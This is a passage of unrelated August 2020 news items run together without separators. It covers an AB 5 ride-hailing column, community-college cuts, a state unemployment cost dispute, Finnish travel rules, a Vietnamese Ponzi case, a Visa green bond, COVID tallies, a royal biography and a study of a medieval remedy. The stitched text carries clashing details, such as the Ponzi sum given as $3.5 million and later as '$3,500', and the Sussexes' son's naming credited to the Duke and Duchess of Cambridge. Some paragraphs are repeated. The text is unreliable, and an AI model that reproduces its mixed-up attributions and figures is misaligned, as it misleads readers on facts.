benefits" provided under Proposition 22 would fall far short of the costs their drivers shoulder as independent contractors and result in guaranteed income for drivers well below minimum wage. Khosrowshahi proposes in the op-ed that "gig economy companies be required to establish benefits funds which give workers cash that they can use for the benefits they want, like health insurance or paid time off....Had this been the law in all 50 states, Uber would have contributed $655 million to benefits funds last year alone." What he doesn't say is that nothing prevents Uber from doing this without being forced to by law, just as nothing in AB 5 requires Uber or Lyft to deprive their drivers of flexible work hours. It's the companies' option. As for whether reclassifying drivers as employees will drive up fares, it's certain that fares are destined to rise anyway. Uber lost $15.7 billion and Lyft $4.2 billion in the last three calendar years, including periods in which they were supported by venture capital firms; now they're both public companies and public investors aren't likely to be as indulgent about such torrential red ink. AB 5 was designed to codify a 2018 California Supreme Court decision that made it much tougher for businesses to declare workers to be independent contractors rather than employees. The stakes are high in this conflict. Employees are entitled by law to a minimum wage, overtime, workers' compensation, the right to form a union, and to protection by anti-discrimination and paid sick leave laws, among other benefits. "Independent contractors" are not. That surely helps explain why the gig companies are desperate to overturn AB 5 or otherwise to win exemption from the law. It's proper to observe that The Times, along with other California newspapers, has been lobbying via the California News Publishers Assn. to extend for two years an exemption from AB 5 covering newspaper carriers, who have long been treated as independent contractors. The Times is also supporting a measure that would loosen the restrictions AB 5 places on contributions by freelance writers, editors and photographers. That brings us back to Schulman's order. He shows particular contempt for the assertion by Uber and Lyft that they're exempt from AB 5 because drivers aren't central to the business the companies are in they don't actually hire drivers, the companies argue, but merely provide technology to people with cars so they can offer rides to people without cars. They're just "matchmakers," Uber told the judge. This is "nonsense," Schulman writes. "To state the obvious, drivers are central, not tangential, to Uber and Lyft's entire ride-hailing business." If every company chose to label itself a "technology" company as Uber tries to do, he adds, "the rapidly expanding majority of industries that rely heavily on technology could with impunity deprive legions of workers of the basic protections afforded to employees by state labor and employment laws." Nor does Schulman show much patience for the companies' plea to put off enforcement of AB 5 until the voters weigh in on Proposition 22. If, as Becerra contends, the companies are violating the law, there's no reason that "they should be given a pass to continue doing so to see if they can muster their considerable financial resources to persuade the voters to change the law in their favor." Schulman acknowledges that AB 5 imposes costs on the gig companies. But that's the price of doing business, he finds, and the companies' own actions have increased those costs: the "far-reaching effects" of the injunctions Becerra and the other regulators have sought "have only been exacerbated by [the companies'] prolonged and brazen refusal to comply with California law." They've already gotten a break, he notes. The companies should have been subjected to those costs starting two years ago, when the state Supreme Court made it plain that their drivers should be classified as employees. Instead, they set to "thumbing their noses" at state law. As Schulman writes, judges are empowered to issue injunctions of the sort the state regulators sought when they can show they have a reasonable probability of winning their case in court. When it comes to the state's argument that the companies are flouting state law, the regulators have shown not merely that they're likely to win, but that there's an "overwhelming likelihood" of victory. Voters should keep those words in mind when they weigh the claims of Uber and Lyft in the voting booth. Their drivers are employees of Uber and Lyft "under any reasonable understanding of the English language," Schulman writes. That should be the last word. The president of a union chapter says Springfield Technical Community College president John Cook has been unwilling to discuss saving programs he eliminated, but Cook insists dialogue has occurred in accordance with legal procedures. On June 25, Cook said seven technical programs would be dropped due to low enrollment, economic stress caused by the coronavirus pandemic and the likelihood of deep cuts in state funding. The cuts would affect 21 staff and faculty members, whose contracts run out on August 29. An outcry from students, faculty, legislators and some local business people followed the decision, but Cook has not changed his mind. On Tuesday, Cook said one staff position has been reinstated and three or four more full-time callbacks are possible. Asked if the reinstated position involved a faculty member, he said it was a staff member. Affected programs were automotive technology, biomedical engineering technology, biotechnology, civil engineering technology, cosmetology, dental assistant training and landscape design and management technology. Cook said the absence of a state budget and uncertainty over fall enrollment means the factors causing the cuts have not changed. He said no college can pinpoint its enrollment under these conditions but that a 10% drop is a reasonable forecast. Faculty and union members dispute that projection. They are also adamant that programs they deem essential should not be cut on speculation over budget cuts that have not yet been made, or an enrollment drop that may not happen. Cook did dispute the contention by STCC Professional Association president Renae Gorman that communication has been practically nil. It hasnt involved him directly, though. Its important to note that there is a prescribed process called impact bargaining,' said Cook, who said five meetings between the union and the administration have occurred since June. He has not attended those meetings, instead sending the colleges legal counsel as his designated representatives - a practice he says is required in accordance with the legal process. According to the union chapter president, Cook has been evasive and unapproachable. President Cook and Vice President of Academic Affairs Geraldine deBerly have refused to consider requests by members of the Western Massachusetts legislative delegation and others to reinstate any of the seven programs,' Gorman said Tuesday in a statement. Gorman said the closures and job losses have been discussed in private meetings with individual members of the Board of Trustees, but she said the union has been rebuffed, despite calls from at least three state representatives - Bud Williams, Carlos Gonzalez and Lindsay Sabadosa - to reconsider. Members of our unions bargaining team were requested to meet with representatives of the college for a formal impact bargaining session last Thursday (August 6). However, there was no bargaining and we were told flatly the original decision stands and would not be subject to any further review or discussion, Gorman said. Cook said the bargaining process required of all community colleges means trustees cannot be involved in the meetings. Asked if any more meetings are planned, he said as of now, there are none. The STCC fall semester begins September 8. Gorman maintains there are ways to salvage at least some programs in some form, but that STCC administrators wont listen. President Cook keeps saying this is a hard decision. We, along with some members of the Legislature, have raised questions indicating this decision was an ill-considered and unnecessary one that turns willing students away from programs that are pathways to secure, well-paying jobs.' Cooks stated reason of low enrollment exposed two interpretations of the numbers. Faculty say interest, registration and enrollment in the affected programs are as high or higher than ever. Cook said even those numbers are smaller than those programs being protected, and cant go much higher because of space limitations - especially but not exclusively because of COVID-19 regulations. Affected faculty and the union dispute Cooks claim that the cuts are required to maintain financial stability at the college, or that they will make enough impact to justify the decision. They also say that as a technical and vocational training college, STCC exists first and foremost for just the types of programs being cut. A faculty protest was held on July 13. Two weeks later, Williams (D-Springfield) held a press conference supporting the faculty and the programs. Some programs are not offered at any other Western Massachusetts college. The union says the decision contradicts Governor Charlie Bakers stated desire to improve vocational training at all levels of education, and that it comes despite a shortage of qualified workers in these fields. Inquiries made by State Rep. Williams revealed that no other community college in Massachusetts has made such drastic cuts to programs or full-time employees as those enacted by Cook and deBerly,' Gormans statement read. As the fall semester nears, Gorman said she believed legislators would remain involved in trying to save the programs. Cook said that, while the bargaining process precludes his presence at meetings with the union, I have been personally engaged with our legislative body. In July, Gorman acknowledged that while saving all seven programs would be just short of a miracle,' a close review of the situation was warranted. With fall approaching, she said a temporary suspension of the programs would be less than ideal. but a possible alternative to their permanent demise. A temporary suspension would be a very difficult proposition that would perhaps create false hope,' Cook said. He still insisted the college was open to ways of salvaging at least some of what the programs offered, and exploring options. He said he has spoken with executives in the construction industry and was making himself available to landscape executives. While some private employers have called for programs to be saved, Cook said they underestimate how much it costs to maintain them. When they hear the cost, theyre not surprised, theyre shocked,' he said. He added that STCC is studying restoration of automotive technology in the fall of 2021 as an off-campus evening program, with students able to earn certification but not an associates degree. California Faces Massive Budget Cuts if Trump Unemployment Plan Implemented: Newsom Major cuts to Californias budget would be required if the state puts President Donald Trumps new unemployment plan into place, according to Gov. Gavin Newsom. It would create a burden the likes which even a state as large as California could never absorb without, again, massive cuts to important services, or further burdening businesses and individuals, Newsom, a Democrat, told reporters during a Monday virtual press conference. Trump, a Republican, signed an executive order over the weekend that enhances the unemployment payment by $400 a week. The increase will be funded in a 75-25 split between the federal government and states, according to a White House memo. Californias 25 percent responsibility would be $700 million a week, state officials said. They could draw from a fund that currently has $70 billion, but if the fund drops to $25 billion or less, the federal government support disappears. If the state of California was to absorb those costs, youre looking at $2.8 billion every week of state resources that we would have to find, programs wed otherwise have to cut, or revenue we would have to generate, to make up for that gap, Newsom said. Were going to need the federal government to provide the support on that 25 percent, or we are at peril of being in a position where we are making false commitments, false promises to millions of Californians, that ultimately we simply cannot meet, he added later. President Donald Trump takes questions from the media on the tarmac at Morristown Municipal Airport in Morristown, New Jersey, on Aug. 9, 2020. (Jim Watson/AFP via Getty Images) Trump told reporters on Sunday that some states may pay nothing for the enhanced unemployment payment. We have a system where we can do 100 percent or we can do 75 percent, they pay 25, and it will depend on the state, and they will make an application. We will look at it, and well make a decision, he said. Other governors have also spoken out about the executive action. New York Gov. Andrew Cuomo, a Democrat, told reporters in a joint press conference with Kentucky Gov. Andy Beshear on Monday that it would cost the state $4 billion between now and December to pay the 25 percent responsibility for the unemployment payment enhancement. We started with a 30-billion-dollar hole and your solution is to cost me another 4 billion dollars? Thank you. Thats handing the drowning man an anchor. Hold onto this maybe itll help,' Cuomo said. Beshear, another Democrat, claimed that virtually no state can afford to pay for the proposed cost-share. I think its really important that we see ultimately a Congressional solution, and Id like to see it at the $600 level but if its at $400 it needs to be fully federally-funded with administrative cost attached to it, he said. The CARES Act included a federally-funded $600 enhancement to unemployment but those benefits expired in late July. New York Gov. Andrew Cuomo holds a mask during a briefing in New York City, N.Y., on July 6, 2020. (David Dee Delgado/Getty Images) White House counselor Kellyanne Conway told reporters on Tuesday morning that Trumps orders were signed because of the absence of congressional action. He knows youre looking at needing a couple extra hundred bucks on top of whatever theyre receiving through unemployment or the other government assistance, or maybe even part-times jobs, and saying 400 extra dollars, you can meet some of those expenses, whether theyre food, medicines, whatever your family or household needs, she said. President Donald Trump at a White House press conference Monday said officials want states to participate in what he described as a cost-sharing unemployment plan. Wed like to get the Democrats to focus on other than what theyre focusing on, which is a bailout of poorly running states, he said. Appearing on Fox News Sunday, House Speaker Nancy Pelosi (D-Calif.) said Trumps orders dont give the money in enhanced benefits, but puts a complicated formula there which will take a while, if at all, to accomplish to put money in the pockets of the American people. Democrats and Republicans remain far apart in negotiations on a new stimulus package. Share this article Whatsapp Facebook Twitter Linkedin (Reuters) Helsinki Tue, August 11, 2020 14:06 526 6657ac82168da9fa101c8a4066d19ed5 2 News Helsinki,finland,travel Free Finland will introduce mandatory coronavirus tests and quarantines for travelers from certain high-risk countries, the minister in charge said on Monday, after 24 of 157 passengers arriving from Skopje in North Macedonia tested positive for COVID-19. The voluntary testing was organised at Turku airport in Finland on Saturday for all passengers arriving on a flight from Skopje after authorities had traced flights from North Macedonia and Bucharest in Romania as two main sources of recent new coronavirus infections in Finland, the minister of family affairs and social services Krista Kiuru told reporters. "The epidemic is native of the Balkans," Kiuru said referring to the recent modest rise in infections in Finland. The mandatory two-week quarantine and a possible random coronavirus test upon arrival to Finland will be applicable to anyone arriving from a country with more than 8 to 10 new COVID-19 cases per 100,000 inhabitants over the latest 14-day period, authorities said. Read also: Finland discovers masks bought from China not hospital-safe Currently, the rule applies to most countries, excluding 25 countries such as Italy, Japan, Greece and Norway where infections remain low. Last week, Finland's own infections stood at 2.3 per 100,000 inhabitants over 7 days, with altogether 7,601 cases and 333 deaths confirmed by Monday. Kiuru said airlines would be required to inform their passengers if they could be subject to a mandatory coronavirus test upon their arrival to Finland. Failure to respect the two-week quarantine would be sanctioned with up to three months in prison or a fine, she added. Kiuru said the new rules would be applied as soon as possible but required some official approvals. Topics : Helsinki finland travel Police in Ho Chi Minh City have arrested a South Korean company director for scamming multiple investors and appropriating more than VND81 billion (US$3.5 million) with a Ponzi scheme. The municipal Department of Police has apprehended and initiated legal proceedings against Kim Bum Jae, a 52-year-old South Korean man, and Nguyen Thi Huong, a 27-year-old Vietnamese woman, for fraud and appropriation of property, a source close to Tuoi Tre (Youth) newspaper confirmed on Monday. From early 2019 to mid-2020, officers in the southern metropolis received a total of 119 reports stating that Raon Vietnam and Khanh Asset Companies had appropriated over VND81 billion ($3,500) from their investors. Kim was the director of both companies. Police investigation revealed that Kim previously met the general director of a company in South Korea in 2015, who suggested that Kim become a representative of his companys branch in Vietnam. His mission was to call for investment while the money raised from local investors was transferred back to the parent company for forex trading. The profit from this business activity would be used to pay for the firms expenses in Vietnam. About four percent of the profit was used to pay interest and commissions. From April 2015 to October 2018, he established nine companies in Vietnam for illegal finance mobilization. Kim did not transfer investors money to the parent company, but instead spent it on personal purposes. Police investigation showed that the man had been running a Ponzi scheme, in which he used the money of one investor to pay interest to others. In order to gain more trust, the South Korean man also organized courses on forex trading and operated shell businesses like coffee shops, poker clubs, and karaoke parlors. Using this tactic, Kim was able to scam at least 119 investors out of over VND81 billion. Meanwhile, Huong was aware of his illegal activities but still agreed to help him set up Raon Vietnam and Khanh Asset Companies to facilitate his fraud. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Kolkata: Suspension of passenger flights to Kolkata from six metros with a high prevalence of COVID-19 cases has been extended till August 31, a senior government official said on Tuesday. Earlier, the temporary restriction on the arrival of flights to Kolkata airport from Delhi, Mumbai, Pune, Chennai, Nagpur and Ahmedabad was extended till August 15, amid the surge in coronavirus cases in the state. In a letter to the Secretary of the Ministry of Civil Aviation, PS Kharola, State Home Secretary Alapan Bandyopadhyay said, "I am further directed to inform you that the suspension of flights from the aforesaid (six) cities to Kolkata will continue till 31 August 2020." The embargo on flights from the six metros was first imposed for a period of 14 days from July 6. It was initially extended till July 31, and then subsequently to August 15. PTI Visa (NYSE: V), a leading global payments technology company, today announced that yesterday it successfully priced its inaugural green bond offering, totaling $500 million, paying a semi-annual coupon of 0.75% and maturing August 15, 2027. The green bond, believed to be the first issued by a digital payments network, will be used to help advance the companys commitment to environmental sustainability and a sustainable payments ecosystem. In support of that commitment and in addition to its inaugural green bond, Visa is also announcing the appointment of its first chief sustainability officer, Douglas Sabo. At Visa, we see a responsibility and an opportunity to use the power of our network to drive broad shifts toward a sustainable future, said Al Kelly, chairman and chief executive officer of Visa Inc. Our green bond offering will help us accelerate the transformation of our infrastructure and operations to reach our environmental goals. This commitment extends to appointing Visas first chief sustainability officer, tasked with ensuring we continue to take bold and industry-leading actions on the environment. As outlined in the Visa Green Bond Framework, the proceeds of the green bond will be used to fund projects including upgrades to buildings, energy efficiency improvements, expanded usage of renewable energy sources, water efficiency projects, employee commuter programs, and research and initiatives focused on sustainable consumer behaviors. The proceeds also will support investments in projects to inspire and foster sustainable living in support of the United Nations Sustainable Development Goals. These projects build on Visas sustainability leadership, including its transition to 100 percent renewable electricity across its operations achieved at the start of 2020. As the world continues to address the urgency of climate change and other environmental challenges, we are embracing our opportunity to play a leading role in building a more sustainable world, said Douglas Sabo, Visas newly appointed chief sustainability officer. Through our green bond offering and together with our initiatives driving inclusive economic growth, we are working to ensure people and planet both can thrive together. Visa will issue an annual report on the use of proceeds from the green bond and their environmental impact. Sustainalytics, a leading global provider of ESG research, ratings and data, provided the second-party opinion on the environmental benefits of Visas Green Bond Framework as well as its alignment with the Green Bond Principles. Forward-Looking Statements This press release contains forward-looking statements within the meaning of the U.S. Private Securities Litigation Reform Act of 1995 that relate to, among other things, our sustainability goals, current and future projects, and expectations regarding the use of proceeds. Forward-looking statements generally are identified by words such as believes, estimates, expects, intends, may, could, should, will, continue and other similar expressions. All statements other than statements of historical fact could be forward-looking statements, which speak only as of the date they are made, are not guarantees of future performance and are subject to certain risks, uncertainties and other factors, many of which are beyond our control and are difficult to predict. We describe risks and uncertainties that could cause actual results to differ materially from those expressed in, or implied by, any of these forward-looking statements in our SEC filings, including our Annual Report on Form 10-K for the year ended September 30, 2019 and our subsequent reports on Forms 10-Q and 8-K, which are incorporated by reference herein. Except as required by law, we do not intend to update or revise any forward-looking statements as a result of new information, future events or otherwise. About Visa Inc. Visa is the worlds leader in digital payments. Our mission is to connect the world through the most innovative, reliable and secure payment network enabling individuals, businesses and economies to thrive. Our advanced global processing network, VisaNet, provides secure and reliable payments around the world, and is capable of handling more than 65,000 transaction messages a second. The companys relentless focus on innovation is a catalyst for the rapid growth of connected commerce on any device. As the world moves from analogue to digital, Visa is applying our brand, products, people, network and scale to reshape the future of commerce. For more information visit usa.visa.com/about-visa.html, usa.visa.com/visa-everywhere/blog.html and @VisaNews. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005278/en/ Angola, IN (46703) Today Cloudy skies. Morning high of 41F with temps falling to near 20. Winds WNW at 10 to 20 mph.. Tonight Cloudy early with some clearing expected late. Low 13F. Winds NNW at 10 to 20 mph. By Gayle Issa (Reuters) - Global coronavirus cases pushed past 20 million on Monday, according to a Reuters tally, with the United States, Brazil and India accounting for more than half of all known infections. The respiratory disease has infected at least four times the average number of people struck down with severe influenza illnesses annually, according to the World Health Organization. By Gayle Issa (Reuters) - Global coronavirus cases pushed past 20 million on Monday, according to a Reuters tally, with the United States, Brazil and India accounting for more than half of all known infections. The respiratory disease has infected at least four times the average number of people struck down with severe influenza illnesses annually, according to the World Health Organization. The death toll from COVID-19, meanwhile, at more than 728,000 has outpaced the upper range of annual deaths from the flu. The Reuters tally, which is based on government reports, shows the disease is accelerating. It took almost six months to reach 10 million cases after the first infection was reported in Wuhan, China, in early January. It took just 43 days to double that tally to 20 million. Experts believe the official data likely undercounts both infections and deaths, particularly in countries with limited testing capacity. The United States is responsible for around 5 million cases, Brazil 3 million and India 2 million. Russia and South Africa round out the top ten. The pandemic is accelerating fastest in Latin America which accounts for almost 28% of the world's cases and more than 30% of deaths, according to the Reuters tally. With the first wave of the virus yet to peak in some countries and a resurgence of cases in others, governments are still divided in their responses. Some countries are reintroducing strict public health measures, while others continue to relax restrictions. Health experts expect dilemmas about how to proceed with school, work and social life to last - and restrictions to fluctuate - until a vaccine is available. The vaccine race has more than 150 candidates being developed and tested around the world with 25 in human clinical trials, according to the World Health Organization. In the United States, children began returning to their classrooms last week, even as controversy over school safety swirled. Britain has added both Spain and Belgium to a list of countries from which returning travellers must quarantine at home for 14 days because of fresh upticks in some European locations. In Asia, China continues to squash surges using strict, local lockdowns, bringing its daily numbers down into the low double digits on the mainland. Australia has introduced a strict lockdown and night curfew in the city of Melbourne, aiming to stifle an outbreak there. Neighbouring New Zealand, where life has largely returned to normal, on the weekend recorded 100 days with no new cases of local transmission. (To see a Reuters interactive, open this link in an external browser: tmsnrt.rs/2Zedzk8) (Reporting by Gayle Issa; editing by Jane Wardell) This story has not been edited by Firstpost staff and is generated by auto-feed. In a world changed by social distancing, everyone is looking for new ways to keep the old traditions alive. That has sparked one vicar to come up with an inventive to give bread during Holy Communion. Tapping into her Southeast Asian heritage, the Rev Eileen Harrop, who is vicar of St Mary's in Gainford and St Andrew's in Winston, County Durham, is using extra-long chopsticks to pass the bread to parishioners while maintaining social distancing. Rev Harrop, who left Singapore for the UK in 1979 and was ordained in 2012, has since administered the bread at the Eucharist at both of the churches she serves. Tapping into her Southeast Asian heritage, the Rev Eileen Harrop, who is vicar of St Mary's in Gainford and St Andrew's in Winston, County Durham, is using extra-long chopsticks to pass the bread to parishioners while maintaining social distancing She said: 'Many of my parishioners were quite anxious at the thought of taking communion, even though we are only permitted to do so under strict guidelines to ensure that there is no chance of transmission of the virus. 'I thought 'Why can't I use a long pair of chopsticks, real bread rather than wafers, and drop it into the communicants' hands?' 'Administering the communion in this way ensures that there is no cross-contamination and my parishioners feel reassured and confident to take part. 'It's rather special that the long chopsticks I use are normally used for the festive occasion 'Lo Hei', meaning 'stir the uplifted breath of life'. 'They take on an even greater meaning used in this context. 'This is a first for both churches, and perhaps a first in any parish church in the diocese.' Rev Harrop came to Keele University in 1979 and met her husband of 35 years, Brian. Rev Harrop, who left Singapore for the UK in 1979 and was ordained in 2012, has since administered the bread at the Eucharist at both of the churches she serves The couple moved to Singapore before relocating to the UK again in 1996, after which she was ordained in 2012. The current Church of England Covid-19 advice for Holy Communion states that communicants should be offered only bread, not wine as there should be no 'common cup'. Mrs Harrop has been using chunkier bread rather than the traditional wafers for Communion as it is easier to grip. The Eucharist is a key part of Christian worship and is celebrated around the world as a memorial of the death and resurrection of Jesus. The Church of England say the shared meal of bread and wine recalls Jesus' Last Supper with his disciples, where he associated the breaking of bread and sharing of wine with his own imminent death. Actor Sanjay Dutt, 61, has been diagnosed with stage-four lung cancer and was discharged from Lilavati hospital on Monday, according to sources at the hospital, who are not authorised to speak to the media. The actor was rushed to the hospital on Saturday after he complained of breathlessness. His rapid Covid-19 antigen test result came back negative. But later, his diagnosis revealed stage-four lung cancer. When he was taken to the hospital, he was low on oxygen saturation. But when his Covid-19 report came negative, we ran a cancer test and it was positive, said a source. When contacted, the actors doctor, Dr Jalil Parker, refused to comment, citing patient confidentiality. Earlier in the day, he had tweeted, Hi friends, I am taking a short break from work for medical treatment. My family and friends are with me and I urge my well-wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon! The actor was admitted to the non-Covid-19 intensive care unit (ICU) at Lilavati Hospital around 6pm on Saturday and according to sources, the actors oxygen is fluctuating between 90-92%. Later, it was reported that he has developed fluid in his chest. The explosive new biography Finding Freedom has shed some light on the life of Prince Harry and Meghan Markle's fourteen-month-old son Archie Harrison. The Duke and Duchess of Sussex say they were not interviewed for the book and did not contribute to the tale by authors Omid Scobie and Carolyn Durand which provides a dramatic and personalised account of the events leading up to the Sussexes' dramatic departure from royal life. In one part, the authors describe how Archie became the royal couple's 'sole source of joy' during a period when they felt 'so much stress in their life.' The book offers new insights into why the couple decided upon his unusual name, which means 'bravery and strength', after dismissing the more traditional Archibald 'after considering it for a second'. Meanwhile the authors also reveal a glimpse into the couple's life with Archie, whom they welcomed last June, including the name of one of his illusive 'secret' godparents and the swimming lessons he has taken throughout his short life. Finding Freedom has offered a glimpse into the private life of Prince Harry35, and Meghan Markle's, 39, one-year-old son Archie Harrison ECSTASY AT BIRTH According to Omid and Carolyn, Meghan felt 'relieved' to have her 'beautiful sweet little boy' in her arms for the first time. A source told the authors: 'Archie was alert as soon as he arrived - eyes wide-open. 'Meghan described the moment she first held him as "ecstasy...total bliss and contentment."' Meanwhile another confidante of the royal said: 'Like any mother, you can't fully know what to expect until you have been through all of it.' A BRAVE NAME Meanwhile Omid and Carolyn write that Prince Harry and Meghan wanted a name which was 'something traditional, a name that was powerful even without a title in front of it.' They write: 'Archie, meaning strength and bravery, fit the bill.' Meanwhile a friend of the couple revealed 'with a laugh': 'They thought about Archibald for all of one second. He was always going to be little Archie.' Meanwhile the book also reveals the reasoning behind the couple's decision not to give their son a royal title. The authors write: 'They decided to forgo a title for their son because they wanted him to be a private citizen until he was at an age where he could decide which path he would like to take. The authors revealed how the Duke and Duchess of Cambridge settled on the name Archie because it signified 'bravery and strength' 'Meanwhile a source also told the authors how the pair both worried about the day Prince Charles would become king and Prince Harry's children could inherit titles of prince or princess.' The couple went on to share their views and 'concerns' with Prince Charles, who said he would 'consider when he became king issuing a new letters patent, a legal instrument in the form of a written order issued by a reigning monarch, that would change this style.' A source added: 'To not have a senior role in the royal family but have a title is just a burden.' Meanwhile the couple also sought approval from the Queen before announcing Archie's name with the authors writing that this was 'out of respect' for the monarch. SHARING NEWS OF HIS BIRTH After Meghan gave birth, Prince Harry took to texting and calling friends (including Skippy, who he was speaking with more reg at this point) and family with the news. He started with the Queen and Prince Philip, who were first to hear about Archie's arrival. According to the biography, the royal then sent his father and brother texts along with photographs of his new son, before notifying other family members through the special cousins-only Whatsapp group that all royals are a part of. He also made sure to tell Diana's family - Lady Sarah McCorquodale and Lady Jane Fellowes and Earl Charles Spencer, as well as Tiggy, whom he wanted to pick as a godmother long before he came a father. Meanwhile the authors revealed that Meghan's mother Doria messaged Thomas with the news, which Meghan had asked her to do because she didn't want him to find out after the rest of the world. The authors write that Meghan didn't want to know whether her father replied to her mother's text. A QUIET BOY After welcoming their son to the world in June 2019, the couple began getting to know their son. The authors explain: 'The couple couldn't quite get over how silent their new baby was. 'Meghan told a friend that Archie slept so quietly she sometimes wanted him to make noise so he knew she was okay. 'Archie had a nursery but also slept in a bassinet in Prince Harry and Meghan's bedroom.' PROUD PARENTS The authors write how Meghan 'boasts' to friends about her son, often telling friends about how the little royal is 'ninetieth percentile for height.' They detail: 'She eagerly offered to pull out her phone to show some of the many photos she had of her boy.' SECRET GODMOTHER REVEALED Meanwhile elsewhere in the explosive biography, the authors reveal one of the secret godparents for the youngster is Izzy May, who lives in West London (pictured at the Duke and Duchess' wedding) The Duke and Duchess have never revealed their son Archie's godparents, but rumours have long swirled about who the chosen few could be. The book confirms that Izzy May is 'Meghan's close confidant and also one of Archie's godmothers and she made regular visits to Frogmore Cottage.' Izzy, who lives in West London, was introduced to Meghan by mutual friend Markus Anderson, a director at the A-list members club Soho House - who arranged Meghan and Prince Harrys first dates together. The former Burberry director of communications even attended the Royal couples wedding last May. She was seated in the second row on the brides side in front of Serena Williams, Oprah Winfrey and the Clooneys perhaps signifying her closeness to Meghan. The new details about Archie's life were revealed in explosive biography Finding Freedom, which went on sale today Meanwhile the authors write: ' She became one of the few people in the UK that Meghan felt she could trust with 'anything.' ROYAL NICKNAMES From the Queen herself to the royal family's bit-part players including Kate's sister Pippa Middleton, no-one is apparently safe from a fun-poking moniker. One of Queen Elizabeth IIs numerous nicknames is indeed Gary, given to her by Prince William in his childhood when he couldnt correctly pronounce granny, instead saying Gary. Meanwhile Omid and Carolyn write that little Archie is no different, with his parents oft referring to the little boy 'Bubba' or 'Arch'. SWIMMING LESSONS AND BABY CLASSES The authors write: 'Earlier in the summer, Baby Archie started taking swimming lessons (after his parents anxiously looked up videos on YouTube about how babies hold their breath under water).' Meanwhile they also detail how the little boy 'loved being read to by his parents ' and 'particularly enjoyed the riddle and rhyme book Is Your Mamma A Llama? by Deborah Guarino.' Later, the authors write: 'Like many new parents, Meghan enjoyed taking him to classes, like the Happy Clappy music class in Windsor she brought Archie to by herself in Cotober (protection officers stood outside). 'All the moms and two dads in the room were wide-eyed as the Duchess of Sussex joined their circle with Archie who went straight for the tambourine and according to his mom 'loved it.' ANIMAL NOISES IN AFRICA Baby Archie joined the royal couple on their final tour as working members of The Firm, with the authors writing how he continued to grow and learn during the trip. They write: 'After the trip he continued to achieve new milestones, including mimicking the sound of animals during their stay at the high commissioner's residence in Cape Town. BABY PROOFING THEIR CANADA HOME In autumn 2019, the couple decided to take some time away from their royal duty in the UK and travelled to North America. Prince Harry and Meghan decided to stay aboard for Thanksgiving and Christmas, opting for a mansion on Vancouver Island to spend some well-earned time with their son. The authors explain how the couple spent time 'babyproofing' their Canadian home, despite knowing it was a temporary set up. They write: 'Prince Harry and Meghan had done everything they could to make sure it was baby-friendly. Sharp corners were proofed with discreet rubber pads and certain items of furniture moved out of harms way. 'With the six-month-old now standing and shuffling along the edges of furniture more than crawling, they didn't want to take any risks.' Meanwhile they also detail how the couple took 'daily walks with Archie around the wooded landscape and sandy beachfront.' News-Medical spoke to researchers from the University of Warwick about their research investigating natural antimicrobials and their potential as antibiotics. Thought Leaders Jess Furner-Pardoe Dr. Freya Harrison Dr. Blessing Anonye News-Medical spoke to researchers from the University of Warwick about their research investigating natural antimicrobials and their potential as antibiotics. Why did you choose to research infections and their treatment? Every day we are inching towards a world where we do not have antibiotics that work due to bacterial antibiotic resistance. It threatens so many parts of modern healthcare, from treating everyday infections to conducting successful surgery and cancer therapies. We choose to research antibiotic discovery to try and stop this happening. Image Credit: Kateryna Kon/Shutterstock.com Why is increasing antibiotic resistance a challenge to scientists? Bacteria are alive. They respond to the environment and evolve to survive, and their survival is based on beating our drugs. It is like a never-ending battle between our drugs and the bacteria. How does bacterias biofilm make treating infections with antibiotics harder? There are a few reasons. Firstly, a biofilm acts as a physical barrier that our drugs need to get through. Secondly, inside the biofilm, the bacteria can share nutrients and resources. Finally, some of the bacteria exhibit a persistence phenotype, which effectively means they go to sleep. And as a lot of our drugs only work when the bacteria is awake, these bacteria survive. Then once the antibiotic is no longer there the bacteria wake up and establish the infection again. What are biofilm-associated infections? Biofilms are sticky aggregates of bacteria the individual bacteria cover themselves in a protective matrix of polysaccharides, proteins, and DNA. Although the term biofilm is not very well known, everyone is likely to have come into contact with one, as they are really common. It is thought that 75% of human infections have a biofilm established in them. For example, if you have ever had a cut and it becomes all gooey and yellow that is a cut where a biofilm of bacteria has made a home. They pose a serious issue in chronic wounds common in diabetic ulcers, or catheter-associated infections. Image Credit: wirakorn deelert/Shutterstock.com What are natural antimicrobials and what were they used for? Natural antimicrobials are things that come from nature and can kill bacteria, fungus, parasites, and viruses. Throughout history, they have been used for a variety of different infections, including infected eyes, cuts and wounds, and malaria. Although it takes a long time to make sure any drug is safe and effective to use, there are a few examples of natural antimicrobials being used today in modern medicine. Honey, for example, is used by the UK National Health Service to treat burn wound infections. Another one is the antimalarial drug artemisinin, which comes from the plant wormwood (Artemisia annua). Can you describe how medieval methods using natural antimicrobials could help fill the antibiotic discovery gap? We do not have enough potential new antimicrobial drugs in the pipeline and looking into natural products could be a really good source. Interestingly, many medieval remedies used mixtures of several ingredients, and we think this could be very informative for researchers: perhaps mixtures of different natural products, instead of single molecules, are the key to making more effective preparations. You reconstructed a medieval remedy known as Balds eyesalve to investigate its antibacterial activity. What did you discover? We have looked at bacteria in two forms, as individual cells (planktonic) and as sticky biofilm communities. Looking at planktonic bacteria is quicker and easier but it is not the most realistic, as when we have an infection the bacteria tend to form biofilms. These biofilms protect the bacteria and make them much harder to kill. We have shown that Balds eyesalve can kill both planktonic cultures and biofilms of different bacteria including S. epidermidis (common in catheter infections), A. baumannii (common in war wounds), S. maltophilia (respiratory infections) and S. aureus (including the superbug MRSA). The key thing we have shown is that while garlic alone can kill the planktonic bacteria easily, it does nothing against biofilms. In fact, if you take away any one of Balds eyesalves ingredients you lose some of the activity against biofilms. This shows that every ingredient is doing something to contribute to the activity against these tricky biofilms. Do you believe that by using natural remedies, we could help to tackle the problem of antibiotic resistance? Most of our current drugs ultimately come from natural sources mainly plants and fungi. And some of these natural sources have been used in medicine throughout history and in so many different cultures. While a lot of historical and traditional remedies are likely to be placebos, or possibly even harmful, the fact that some have already led to drug discovery makes it hard to believe that none of the unexplored ones will have any scientific value. We fully expect some of the remedies to just be folklore or placebo but hope that some of them may be an untapped source of novel antimicrobial mixtures. Why is it important to look at combining these natural products, as opposed to looking at single compounds? We are proposing that the mixture is more powerful than one single component. Often natural remedies are divided up into individual parts and tested on planktonic cultures (free-floating bacteria that are susceptible to the environment). Hundreds of antimicrobial compounds have been identified this way but few of them show good activity against biofilms, and most of the time, compounds that look promising in the lab fail to make their way to the clinic. Our work has shown that the mixture as a whole is more potent. If we had focused on separating up the mixture, we would have focused on garlic, which when we tested it later on biofilms would not have been active anymore. Image Credit: 